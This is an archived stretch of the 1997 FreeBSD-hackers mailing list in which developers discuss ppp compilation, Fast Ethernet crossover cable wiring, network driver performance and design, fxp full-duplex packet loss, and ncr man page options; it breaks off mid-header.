freebsd-hackers@FreeBSD.ORG In-reply-to: Wolfgang Helbig's message of Mon, 11 Aug 1997 10:17:10 +0200 (MET DST) Subject: Re: Kernel ppp-2.3.1 and compile under FBSD's References: <199708110817.KAA01745@rvc1.informatik.ba-stuttgart.de> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > So you might have to upgrade to FreeBSD 2.2.x to make ppp-2.3.[01] compile. It is difficult to get to compile and work properly under 2.2.2. I've got patches which are presently under shakeout and which I'll submit to Brian[1] if they seem to keep working 100% (no problems for the last 1.5 week, but I'd like to give them another week to settle) Eivind. [1] Sorry for not notifying you before. From owner-freebsd-hackers Mon Aug 11 07:52:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA07726 for hackers-outgoing; Mon, 11 Aug 1997 07:52:34 -0700 (PDT) Received: from bsd.fs.bauing.th-darmstadt.de (bsd.fs.bauing.th-darmstadt.de [130.83.63.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA07719 for ; Mon, 11 Aug 1997 07:52:29 -0700 (PDT) Received: from panke.panke.de (anonymous213.ppp.cs.tu-berlin.de [130.149.17.213]) by bsd.fs.bauing.th-darmstadt.de (8.8.6/8.8.5) with ESMTP id QAA03850; Mon, 11 Aug 1997 16:52:21 +0200 (MET DST) Received: (from wosch@localhost) by panke.panke.de (8.8.5/8.6.12) id QAA00369; Mon, 11 Aug 1997 16:29:30 +0200 (MET DST) To: Darren Reed Cc: hackers@FreeBSD.ORG Subject: Re: creating man 9f References: <199708101321.GAA20590@hub.freebsd.org> From: Wolfram Schneider Date: 11 Aug 1997 16:29:27 +0200 In-Reply-To: Darren Reed's message of Sun, 10 Aug 1997 23:07:54 +1000 (EST) Message-ID: Lines: 12 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Darren Reed writes: > I'd like to nominate the following man pages for duplication into section > 9f (kernel functions): The BSD manual hierarchy is simple (man1, man2, man3 ... man9) and should be simple. I hate the Solaris way with tons of subdirectories (man1a, man1b, ... man1zzz, ...) which no human can remember. Please put your kernel function manuals into the existing directory man9. -- Wolfram Schneider http://www.apfel.de/~wosch/ From owner-freebsd-hackers Mon Aug 11 08:37:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA10538 for hackers-outgoing; Mon, 11 Aug 1997 08:37:01 -0700 (PDT) Received: from Campino.Informatik.RWTH-Aachen.DE (campino.Informatik.RWTH-Aachen.DE [137.226.116.240]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA10525 for ; Mon, 11 Aug 1997 08:36:55 -0700 (PDT) Received: from gil.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de [137.226.31.2]) by Campino.Informatik.RWTH-Aachen.DE (RBI-Z-5/8.6.12) with ESMTP id RAA05603 for ; Mon, 11 Aug 1997 17:37:53 +0200 (MET DST) Received: (from kuku@localhost) by gil.physik.rwth-aachen.de (8.8.5/8.6.9) id RAA22823 for freebsd-hackers@freefall.cdrom.com; Mon, 11 Aug 1997 17:40:05 +0200 (MEST) Date: Mon, 11 Aug 1997 17:40:05 +0200 (MEST) From: Christoph Kukulies Message-Id: <199708111540.RAA22823@gil.physik.rwth-aachen.de> To: freebsd-hackers@freefall.FreeBSD.org Subject: 100Mbps wiring tip sought Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I bought two Inter Etherexpress PRO 100 for getting started with Fast Ethernet. I want to connect two machines via some kind of 'null-modem' cable (which I'd have to crimp first). From my understanding the pinning would be (looking into the connector outlet at the rear of the card: ,______, ,_| |_, ____| |____ | | | | | 8 7 6 5 4 3 2 1 | | | | | | | | | | | ____________________ 1 - Rx + 2 - Rx - 3 - Tx + 6 - Tx - Could someone confirm that using the following cabling is correct: (BELDEN 1868 FTP FLEX) Rx + <--------> Tx - Rx - <--------> Tx + Tx + <--------> Rx - Tx - <--------> Rx + (Or would + go to + ?) -- Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de From owner-freebsd-hackers Mon Aug 11 08:48:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA11200 for hackers-outgoing; Mon, 11 Aug 1997 08:48:45 -0700 (PDT) Received: from cynic.portal.ca (root@cynic.portal.ca [204.174.36.7]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA11168; Mon, 11 Aug 1997 08:48:27 -0700 (PDT) Received: from localhost ([[UNIX: localhost]]) by cynic.portal.ca (8.8.5/8.8.5) with SMTP id IAA09098; Mon, 11 Aug 1997 08:48:02 -0700 (PDT) X-Authentication-Warning: cynic.portal.ca: cjs owned process doing -bs Date: Mon, 11 Aug 1997 08:48:02 -0700 (PDT) From: Curt Sampson To: Mike Haertel cc: dg@root.com, freebsd-hackers@FreeBSD.ORG, freebsd-hardware@FreeBSD.ORG Subject: Re: question about "ed" driver performance on ASUS SP3G & 486DX4/100 In-Reply-To: <199708110551.WAA03617@ducky.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Mike Haertel wrote: > I tried 16-bit copies; they were a little slower (about 16 and 18 > seconds on the P5-90 and 486-100 respectively). I'd be interested to see what you get with 8-bit copies. Did you drop the board into 16-bit mode before doing your 16-bit reads, BTW? I'm not sure if it makes a difference on reads, but it certainly does on writes. cjs Curt Sampson cjs@portal.ca Info at http://www.portal.ca/ Internet Portal Services, Inc. Through infinite myst, software reverberates Vancouver, BC (604) 257-9400 In code possess'd of invisible folly. From owner-freebsd-hackers Mon Aug 11 09:04:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA12324 for hackers-outgoing; Mon, 11 Aug 1997 09:04:22 -0700 (PDT) Received: from cynic.portal.ca (root@cynic.portal.ca [204.174.36.7]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA12318 for ; Mon, 11 Aug 1997 09:04:16 -0700 (PDT) Received: from localhost ([[UNIX: localhost]]) by cynic.portal.ca (8.8.5/8.8.5) with SMTP id JAA09453; Mon, 11 Aug 1997 09:04:13 -0700 (PDT) X-Authentication-Warning: cynic.portal.ca: cjs owned process doing -bs Date: Mon, 11 Aug 1997 09:04:13 -0700 (PDT) From: Curt Sampson To: Chris Csanady cc: freebsd-hackers@FreeBSD.ORG Subject: Re: DISCUSS: interface for raw network driver.. In-Reply-To: <199708110552.AAA01853@friley01.res.iastate.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I should preface this post with the comment that I'm not any huge expert on high performance networking; I just read up on it when I can. On Mon, 11 Aug 1997, Chris Csanady wrote: > o An ack function in the pseudo-device to call when the send is complete. > ... > o An input function in the pseudo-device to be called upon reception of > a packet. If you're interested in performance, you want to batch these as much as possible to avoid interrupts. You should be able to chain sends, at the very least. Possibly even better, if you're really slamming stuff through the interface, would be for the application to have a whole series of buffers that it fills and adds to the chain, and when it runs out (or comes near to running out), a function it can call to get a list of the buffers that have been sent and are now free. Of course, there's some work to do here regarding the best way to feed errors back to the application. For receive packets, you have to figure out what sort of trade-off you want to make between latency and speed, and this is really an application decision. If possible, deal with the reception of several packets with just one interrupt. But in the end, your whole strategy is not the right way to go as far as really good performance, except in the (in these days unusual) case where the application uses its own private protocol. If you want to see how to deal with TCP/IP over Gigabit Ethernet, I really strongly recommend reading ``DART: Fast Application-Level Networking via Data-Copy Avoidance'' by Robert J. Walsh in The July/August 1997 (v 11 n 4) issue of _IEEE Network_. cjs Curt Sampson cjs@portal.ca Info at http://www.portal.ca/ Internet Portal Services, Inc. Through infinite myst, software reverberates Vancouver, BC (604) 257-9400 In code possess'd of invisible folly. From owner-freebsd-hackers Mon Aug 11 09:08:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA12641 for hackers-outgoing; Mon, 11 Aug 1997 09:08:12 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA12636 for ; Mon, 11 Aug 1997 09:08:07 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wxwxz-0004BM-00; Mon, 11 Aug 1997 10:05:11 -0600 To: Tom Samplonius Subject: Re: ISDN drivers/cards Cc: Terry Lambert , joerg_wunsch@uriah.heep.sax.de, hackers@freebsd.org In-reply-to: Your message of "Sun, 10 Aug 1997 14:07:39 PDT." References: Date: Mon, 11 Aug 1997 10:05:11 -0600 From: Warner Losh Message-Id: Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message Tom Samplonius writes: : - Hack the hardware to double the clock rate, so that 115200 is actually : 230400. This only works with uarts that have an accessible crystal. I have some hardware here that has a jumper to double or 4x the baud rates that it can do. It is a 16650 I believe. I've not tried to get it to do 230400, however, because I have only one of them right now. And I'm using to get more serial ports on my machine than would otherwise be possible since it is a 16 bit card... Warner From owner-freebsd-hackers Mon Aug 11 09:31:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA14068 for hackers-outgoing; Mon, 11 Aug 1997 09:31:58 -0700 (PDT) Received: from locust.etext.org (locust.etext.org [141.211.26.90]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA14063 for ; Mon, 11 Aug 1997 09:31:53 -0700 (PDT) Received: from localhost (pauls@localhost) by locust.etext.org (8.8.7/8.7.3) with SMTP id MAA03952; Mon, 11 Aug 1997 12:31:52 -0400 (EDT) Date: Mon, 11 Aug 1997 12:31:52 -0400 (EDT) From: Paul Southworth To: freebsd-hackers@freebsd.org Subject: mysql: MySQL for FreeBSD 3.0 (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Test release is available for people who want to try MySQL using FreeBSD 3.0 native threads. ---------- Forwarded message ---------- Date: Mon, 11 Aug 1997 12:27:55 +0300 (EET DST) From: monty@tcx.se Reply-To: monty@analytikerna.se, mysql@tcx.se To: mysql@tcx.se, mysql-announce@tcx.se Subject: mysql: MySQL for FreeBSD 3.0 For those that want to test MySQL on FreeBSD 3.0 with native threads and sockets, there is now a binary version available. This can be found at 'http://www.tcx.se/.' This is a port of the 3.21.5 version. If one want's to compile this oneself on can get: ftp://www.tcx.se/pub/mysql/hidden/mysql-3.21.5-alpha.tar.gz NOTE: One must install the FreeBSD libc_r patch BEFORE configuring the source version. >From INSTALL-SOURCE: ------ The pthreads library for FreeBSD doesn't contain the sigwait function and there is some bugs in it. To fix this, get the FreeBSD-3.0-libc_r-1.0.diff file and run this in the /usr/src/lib/libc_r/uthread directory. Follow after this the instructions that can be found with 'man pthread' about how to recompile the libc_r library. You can test if you have a 'modern' libpthread.a with: > nm /usr/lib/libpthread.a | grep sigwait. If the above doesn't find sigwait you have to use the above patch and recompile libc_r. ------- Yours, Monty From owner-freebsd-hackers Mon Aug 11 09:41:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA14829 for hackers-outgoing; Mon, 11 Aug 1997 09:41:31 -0700 (PDT) Received: from orb.misc.org (bnorum@orb.misc.org [207.141.24.36]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA14822 for ; Mon, 11 Aug 1997 09:41:27 -0700 (PDT) Received: (from bnorum@localhost) by orb.misc.org (8.8.5/8.8.5) id JAA04097; Mon, 11 Aug 1997 09:43:33 -0700 (PDT) Message-ID: <19970811094333.18933@fsr.com> Date: Mon, 11 Aug 1997 09:43:33 -0700 From: Bengt-Erik Norum To: Christoph Kukulies Cc: freebsd-hackers@freebsd.org Subject: Re: 100Mbps wiring tip sought References: <199708111540.RAA22823@gil.physik.rwth-aachen.de> Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-md5; boundary="S8CxjVDS/+yyDmUD" X-Mailer: Mutt 0.81 In-Reply-To: <199708111540.RAA22823@gil.physik.rwth-aachen.de>; from Christoph Kukulies on Mon, Aug 11, 1997 at 05:40:05PM +0200 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk --S8CxjVDS/+yyDmUD Content-Type: text/plain; charset=us-ascii commonly called "crossover cabling". you want one end to be "T568A" and the other to be "T568B". this is the same cable you would use to connect two hubs together (given that they don't have an MDI/MDI-X switch)... http://www.anixter.com/techlib/images/tiabooke.gif shows both. -- bengt-erik norum, bnorum@fsr.com anagram'ized: Rob Erg Me Ink Nut http://www.misc.org/geeks/bnorum/ On Mon, Aug 11, 1997 at 05:40:05PM +0200, Christoph Kukulies wrote: > I want to connect two machines via some kind of 'null-modem' > cable (which I'd have to crimp first). From my understanding > the pinning would be (looking into the connector outlet at the > rear of the card: [...] > Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de --S8CxjVDS/+yyDmUD Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM+9BNJegA9DVBZeZAQEFXQP+NwgsNlvXRDe2ouPfNMObitAowZrj+CBx voizr12q8BXXmGjx0mcy4sGJelu+kK76wS29Ebr+0HxGVahwpp9ZO3hvAGTHYquU 31y6Wm/tj+xR6DpLFk0NcoKa2HXG+6/+METgHx0NDc21rmAeOVZOtdlLSJQNra7j MrBVY4UZfAM= =pRJR -----END PGP SIGNATURE----- --S8CxjVDS/+yyDmUD-- From owner-freebsd-hackers Mon Aug 11 09:42:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA14910 for hackers-outgoing; Mon, 11 Aug 1997 09:42:59 -0700 (PDT) Received: from iworks.InterWorks.org (deischen@iworks.interworks.org [128.255.18.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA14902 for ; Mon, 11 Aug 1997 09:42:52 -0700 (PDT) Received: (from deischen@localhost) by iworks.InterWorks.org (8.7.5/) id LAA01727; Mon, 11 Aug 1997 11:06:45 -0500 (CDT) Message-Id: <199708111606.LAA01727@iworks.InterWorks.org> Date: Mon, 11 Aug 1997 11:06:45 -0500 (CDT) From: "Daniel M. Eischen" To: freebsd-hackers@FreeBSD.ORG, kuku@gilberto.physik.RWTH-Aachen.DE Subject: Re: 100Mbps wiring tip sought Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > 1 - Rx + > 2 - Rx - > 3 - Tx + > 6 - Tx - > > > Could someone confirm that using the following cabling is correct: > > (BELDEN 1868 FTP FLEX) > > Rx + <--------> Tx - > Rx - <--------> Tx + > > Tx + <--------> Rx - > Tx - <--------> Rx + > > (Or would + go to + ?) I think + goes to +, - to -. Check out: http://wwwhost.ots.utexas.edu/ethernet/100quickref/ch12qr_6.html Dan Eischen deischen@iworks.InterWorks.org From owner-freebsd-hackers Mon Aug 11 10:02:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA16208 for hackers-outgoing; Mon, 11 Aug 1997 10:02:04 -0700 (PDT) Received: from gatekeeper.itribe.net (gatekeeper.itribe.net [209.49.144.254]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA16203 for ; Mon, 11 Aug 1997 10:01:57 -0700 (PDT) Message-Id: <199708111702.NAA17138@gatekeeper.itribe.net> Received: forwarded by SMTP 1.5.2. Date: Mon, 11 Aug 1997 13:03:08 -0400 (EDT) From: Jamie Bowden To: Christoph Kukulies cc: freebsd-hackers@freefall.freebsd.org Subject: Re: 100Mbps wiring tip sought In-Reply-To: <199708111540.RAA22823@gil.physik.rwth-aachen.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Crosoover cables are built like so: 1 -- 3 2 -- 6 3 -- 1 4 -- 4 5 -- 5 6 -- 2 7 -- 7 8 -- 8 On Mon, 11 Aug 1997, Christoph Kukulies wrote: > I bought two Inter Etherexpress PRO 100 for getting started with > Fast Ethernet. > > I want to connect two machines via some kind of 'null-modem' > cable (which I'd have to crimp first). From my understanding > the pinning would be (looking into the connector outlet at the > rear of the card: > ,______, > ,_| |_, > ____| |____ > | | > | | > | 8 7 6 5 4 3 2 1 | > | | | | | | | | | | > ____________________ > > > 1 - Rx + > 2 - Rx - > 3 - Tx + > 6 - Tx - > > > > Could someone confirm that using the following cabling is correct: > > (BELDEN 1868 FTP FLEX) > > Rx + <--------> Tx - > Rx - <--------> Tx + > > Tx + <--------> Rx - > Tx - <--------> Rx + > > (Or would + go to + ?) > > > > -- > Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de > Jamie Bowden System Administrator, iTRiBE.net From owner-freebsd-hackers Mon Aug 11 10:24:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA17546 for hackers-outgoing; Mon, 11 Aug 1997 10:24:46 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA17539 for ; Mon, 11 Aug 1997 10:24:43 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA15515; Mon, 11 Aug 1997 10:19:59 -0700 From: Terry Lambert Message-Id: <199708111719.KAA15515@phaeton.artisoft.com> Subject: Re: DISCUSS: interface for raw network driver.. To: ccsanady@friley01.res.iastate.edu (Chris Csanady) Date: Mon, 11 Aug 1997 10:19:59 -0700 (MST) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <199708110552.AAA01853@friley01.res.iastate.edu> from "Chris Csanady" at Aug 11, 97 00:52:24 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I am writing a pseudo device that basically sits on top of a network driver, > does memory management, and exports the buffers to user-space. [ ... ] > A program will use it by opening the special file, and mmapping the > whole chunk of device memory. It will then create an endpoint, > specifying the foreign address, port number, queue length > restrictions, etc. Now it can do IO by specificifying offset, size, > and VCI. (Currently, I am using a series of ioctls for this. They > include allocation, freeing, sending, etc.. of endpoints and buffers) Basically, the inverse of mmap'ing a file, and then sending an address in the mmap'ed region to avoid the copy overhead. I think the main difference I see is that this would allow the buffers to be non-file buffers, so for generated rather than raw file contents, you save a copy, but for files, you are still one user/kernel space copy over the minimum possible. > The obvious drawback is that anyone using this interface will be > able to trash eachothers buffers, but this seems a reasonable > compromise. With only one page in use, there will be no TLB thrashing, > and no overhead for vm mappings. Ideally, it will be as close as > possible to providing a user level network driver without comprimising > overall system integrity. Our initial use will be providing high > performance, low latency communication for our cluster. [ ... ] > Initially, this arhitecture will be used for gigabit and fast ethernet, > although if there are any glaring problems which would prevent use on > other network architectures, I would like to know. Even with ethernet > however, it will allow use of non-standard frame sizes on hardware > which supports it, and will be a huge win. > > Thoughts? What about establishing an anonymous memory mapping? The mmap'ing has long been used to save the copy overhead, by causing the uiomove() to take the transfer fault in kernel space (the user space reference only exists to get a DT entry of some kind). If you mapped a file into a process (specifically, grabbed some anonymous pages from /dev/zero), it seems to me that it would provide the same facilities, without the danger that someone else could stomp on your memory region which was pinned in the KVA space. Obviously, if the mmap() stuff was fixed, the kernel mapping would go away, so this might be a consideration. On the other hand, the per-process descriptor table must be present for your process to be running anyway, and it's unlikely to be LRU'ed out -- especially if, on I/O request, you pin the pages and have the completion unpin the pages? I think the remaining issue is the number of DT entries which need to be rewritten on context switch. With your method, you add one, but this is an artifact of the 4M page size -- you can get the same effect by using a small region, and/or by making mmap() use 4M pages as well (a good optimization in any case). Is there anything I've missed? I'm not sure it's necessary to go to the driver level an push the mapping up from the kernel instead of down from user space... ? Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Aug 11 12:18:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA24044 for hackers-outgoing; Mon, 11 Aug 1997 12:18:14 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA24037 for ; Mon, 11 Aug 1997 12:18:09 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wxzxB-00028g-00; Mon, 11 Aug 1997 12:16:33 -0700 Date: Mon, 11 Aug 1997 12:16:33 -0700 (PDT) From: Tom Samplonius To: hackers@freebsd.org Subject: fxp driver full duplex packet loss problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have a Intel Etherexpress Pro100/B conneted into a 10BT port on a lightly loaded Catlyst 1900 etherswitch. The system is running 2.2-stable (last week), and traffic ranges from about 50 to 150KB/s output (as measured with netstat -I fxp0 -w 1) When I use "link0 link2" to enable full-duplex operation, I start seeing about 1 to 4% packet loss (measured with ping to and from the server). When I disable full-duplex, the packet loss disappears. Is it safe to change the full-duplex vs. half-duplex on-the-fly? Should I power-cycle/reboot between changes? Anyone else running this card in this kind of configuration? Tom From owner-freebsd-hackers Mon Aug 11 13:04:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA26799 for hackers-outgoing; Mon, 11 Aug 1997 13:04:26 -0700 (PDT) Received: from horst.bfd.com (horst.bfd.com [204.160.242.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA26772; Mon, 11 Aug 1997 13:04:18 -0700 (PDT) Received: from harlie.bfd.com (bastion.bfd.com [204.160.242.14]) by horst.bfd.com (8.8.5/8.7.3) with SMTP id NAA15791; Mon, 11 Aug 1997 13:04:09 -0700 (PDT) Date: Mon, 11 Aug 1997 13:04:09 -0700 (PDT) From: "Eric J. Schwertfeger" To: Barney Wolff cc: freebsd-hackers@FreeBSD.ORG, freebsd-hardware@FreeBSD.ORG Subject: Re: question about "ed" driver performance on ASUS SP3G & 486DX4/100 In-Reply-To: <33ee8f490.55c9@databus.databus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Barney Wolff wrote: > As a data point, I just copied 5MB from a P6/200 running fbsd 2.1.5 & a > Pro 100B (at 10 MHz) to a 486/66 running Unixware 2.0.3 with a WD8013. > Via NFS, 651 KB/sec. More data points: On a quiet network, I've seen 900K/sec transfers using FreeBSD 2.1.[5-7] and NE2000 clones on both ends, and 1M/sec using the SMC Elites. Oh, and on Pentiums with DEC chipsets, 1.06M/sec From owner-freebsd-hackers Mon Aug 11 15:22:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA03913 for hackers-outgoing; Mon, 11 Aug 1997 15:22:31 -0700 (PDT) Received: from Octopussy.MI.Uni-Koeln.DE (Octopussy.MI.Uni-Koeln.DE [134.95.166.20]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA03908; Mon, 11 Aug 1997 15:22:23 -0700 (PDT) Received: from x14.mi.uni-koeln.de ([134.95.219.124]) by Octopussy.MI.Uni-Koeln.DE with SMTP id AA16579 (5.67b/IDA-1.5); Tue, 12 Aug 1997 00:22:21 +0200 Received: (from se@localhost) by x14.mi.uni-koeln.de (8.8.6/8.6.9) id AAA00687; Tue, 12 Aug 1997 00:22:12 +0200 (CEST) X-Face: " Date: Tue, 12 Aug 1997 00:22:12 +0200 From: Stefan Esser To: Alex Cc: freebsd-hackers@FreeBSD.ORG, Stefan Esser Subject: Re: ncr(4) man page update References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.74 In-Reply-To: ; from Alex on Sun, Aug 10, 1997 at 03:12:26PM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Aug 10, Alex wrote: > I checked out the man page, and it seemed rather lacking, so I looked in > LINT, found a few undocumented options, poked around in the ncr source, > found what the options do and added brief comments in both LINT and the > ncr man page. I was not sure what to do with the rcs IDs, so I just > removed them, if I was supposed to do something different with them, I'd > like to know so as not to make the same mistake again. Well, the options are not mentioned in the man page on purpose. Most are only for debugging or left over from experimental states of the code, and they may have unexpected side effects. If you want to modify the drivers behaviour, you can do so at run-time using "ncrcontrol". You may of course suggest improvements to the man page, but I don't want to add descriptions for the more obscure and possibly short lived options that you most probably found :) Regards, STefan From owner-freebsd-hackers Mon Aug 11 17:02:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA09184 for hackers-outgoing; Mon, 11 Aug 1997 17:02:32 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA09174 for ; Mon, 11 Aug 1997 17:02:29 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id RAA19545; Mon, 11 Aug 1997 17:04:44 -0700 (PDT) Message-Id: <199708120004.RAA19545@implode.root.com> To: Tom Samplonius cc: hackers@FreeBSD.ORG Subject: Re: fxp driver full duplex packet loss problem In-reply-to: Your message of "Mon, 11 Aug 1997 12:16:33 PDT." From: David Greenman Reply-To: dg@root.com Date: Mon, 11 Aug 1997 17:04:43 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I have a Intel Etherexpress Pro100/B conneted into a 10BT port on a >lightly loaded Catlyst 1900 etherswitch. The system is running 2.2-stable >(last week), and traffic ranges from about 50 to 150KB/s output (as >measured with netstat -I fxp0 -w 1) > > When I use "link0 link2" to enable full-duplex operation, I start seeing >about 1 to 4% packet loss (measured with ping to and from the server). >When I disable full-duplex, the packet loss disappears. > > Is it safe to change the full-duplex vs. half-duplex on-the-fly? Should >I power-cycle/reboot between changes? > > Anyone else running this card in this kind of configuration? At least some Cisco fast ethernet interfaces (those on the 7000/7500 series routers, for instance), don't support auto-negotiation. So when you force full duplex on your end, the Cisco is still in half duplex. The behavior you're describing is indicative of this. To fix this, you'll need to set full duplex in the Cisco as well. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Mon Aug 11 17:07:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA09452 for hackers-outgoing; Mon, 11 Aug 1997 17:07:48 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA09447; Mon, 11 Aug 1997 17:07:39 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id RAA22671; Mon, 11 Aug 1997 17:03:49 -0700 From: Terry Lambert Message-Id: <199708120003.RAA22671@phaeton.artisoft.com> Subject: Re: ncr(4) man page update To: se@FreeBSD.ORG (Stefan Esser) Date: Mon, 11 Aug 1997 17:03:48 -0700 (MST) Cc: garbanzo@hooked.net, freebsd-hackers@FreeBSD.ORG, se@FreeBSD.ORG In-Reply-To: <19970812002212.10899@mi.uni-koeln.de> from "Stefan Esser" at Aug 12, 97 00:22:12 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > You may of course suggest improvements to the man > page, but I don't want to add descriptions for the > more obscure and possibly short lived options that > you most probably found :) How about: 1) Add them to the man page 2) Note that they are obsoleted and should not be used 3) Remove them from the man page when (if) they are removed from the driver Documentation should be about what a system is, not about what it would be if it were idealized... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Aug 11 17:16:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA09786 for hackers-outgoing; Mon, 11 Aug 1997 17:16:10 -0700 (PDT) Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA09780 for ; Mon, 11 Aug 1997 17:16:04 -0700 (PDT) Received: from mr1.exu.ericsson.se (mr1.exu.ericsson.com [138.85.147.11]) by gwa.ericsson.com (8.8.2/8.8.2) with ESMTP id TAA01721 for ; Mon, 11 Aug 1997 19:15:22 -0500 (CDT) Received: from noah.lmc.ericsson.se (noah.lmc.ericsson.se [142.133.1.1]) by mr1.exu.ericsson.se (8.7.1/NAHUB-MR1.1) with ESMTP id TAA22240 for ; Mon, 11 Aug 1997 19:15:22 -0500 (CDT) Received: from lmcpc1.lmc.ericsson.se (lmcpc1.lmc.ericsson.se [142.133.17.200]) by noah.lmc.ericsson.se (8.8.5/8.8.5) with ESMTP id UAA03164 for ; Mon, 11 Aug 1997 20:15:20 -0400 (EDT) Received: from lmc.ericsson.se (ppp10.lmc.ericsson.se [142.133.16.210]) by lmcpc1.lmc.ericsson.se (8.8.5/8.8.5) with ESMTP id UAA02176 for ; 